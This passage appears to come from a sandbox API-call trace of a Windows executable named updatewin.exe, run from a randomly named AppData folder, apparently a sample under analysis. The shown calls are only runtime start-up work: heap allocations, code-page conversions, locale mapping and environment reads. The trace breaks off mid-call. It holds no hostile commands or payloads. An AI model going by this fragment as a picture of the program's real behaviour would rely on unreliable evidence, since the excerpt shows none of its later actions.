(hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0052.016] GetProcessHeap () returned 0x230000 [0052.016] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.016] GetLastError () returned 0x57 [0052.016] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0052.017] GetLastError () returned 0x57 [0052.017] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0052.017] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0052.017] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x364) returned 0x25b9c0 [0052.017] SetLastError (dwErrCode=0x57) [0052.017] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xc00) returned 0x25bd30 [0052.018] GetStartupInfoW (in: lpStartupInfo=0x18e4e0 | out: lpStartupInfo=0x18e4e0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x402400, hStdOutput=0xa8249313, hStdError=0xfffffffe)) [0052.018] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0052.018] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0052.018] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0052.018] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe\" " [0052.018] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe\" " [0052.018] GetACP () returned 0x4e4 [0052.018] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x220) returned 0x25d138 [0052.018] IsValidCodePage (CodePage=0x4e4) returned 1 [0052.018] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18e500 | out: lpCPInfo=0x18e500) returned 1 [0052.018] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ddc8 | out: lpCPInfo=0x18ddc8) returned 1 [0052.018] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.019] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18dddc | out: lpCharType=0x18dddc) returned 1 [0052.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db18, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā") returned 256 [0052.019] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.019] GetLastError () returned 0x57 [0052.019] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0052.019] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.019] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā", cchSrc=256, lpDestStr=0x18d908, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0052.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18e2dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x5b\x54\x7d\xa8\x18\xe5\x18", lpUsedDefaultChar=0x0) returned 256 [0052.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db38, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.019] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.019] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d928, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0052.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18e1dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x5b\x54\x7d\xa8\x18\xe5\x18", lpUsedDefaultChar=0x0) returned 256 [0052.019] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x80) returned 0x25b0e0 [0052.019] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x413ba8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe")) returned 0x5e [0052.019] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xc6) returned 0x25d360 [0052.019] RtlInitializeSListHead (in: ListHead=0x413ad0 | out: ListHead=0x413ad0) [0052.019] GetLastError () returned 0x0 [0052.019] SetLastError (dwErrCode=0x0) [0052.019] GetEnvironmentStringsW () returned 0x25d430* [0052.019] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xaca) returned 0x25df08 [0052.019] FreeEnvironmentStringsW (penv=0x25d430) returned 1 [0052.019] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x98) returned 0x25afc8 [0052.019] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3e) returned 0x25d430 [0052.019] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6c) returned 0x25d478 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6e) returned 0x25d4f0 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x78) returned 0x241270 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x62) returned 0x25d568 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x2452c0 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x25d5d8 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x28) returned 0x25d628 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a) returned 0x25d0a8 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4a) returned 0x25d658 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x72) returned 0x2412f0 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x2452f8 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x245330 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1c) returned 0x25d0d0 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xd2) returned 0x25d6b0 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x7c) returned 0x25d790 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x25d818 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3a) returned 0x25e9f8 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x90) returned 0x25d858 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x25d8f0 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x245368 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x25d920 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x25d960 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x25d9b0 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x25ea40 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x82) returned 0x25da10 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x2453a0 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1e) returned 0x25d0f8 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2c) returned 0x2453d8 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x25daa0 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x25db00 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2a) returned 0x245410 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x25ea88 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x25db60 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x25dbc0 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x245448 [0052.020] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x8c) returned 0x25dbf0 [0052.020] HeapFree (in: 